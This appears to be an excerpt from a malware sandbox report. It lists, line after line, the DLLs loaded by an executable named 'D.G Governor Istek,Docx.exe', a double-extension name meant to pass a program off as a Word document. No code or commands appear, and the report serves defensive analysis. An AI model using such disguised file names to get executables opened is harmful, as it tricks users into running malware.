Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
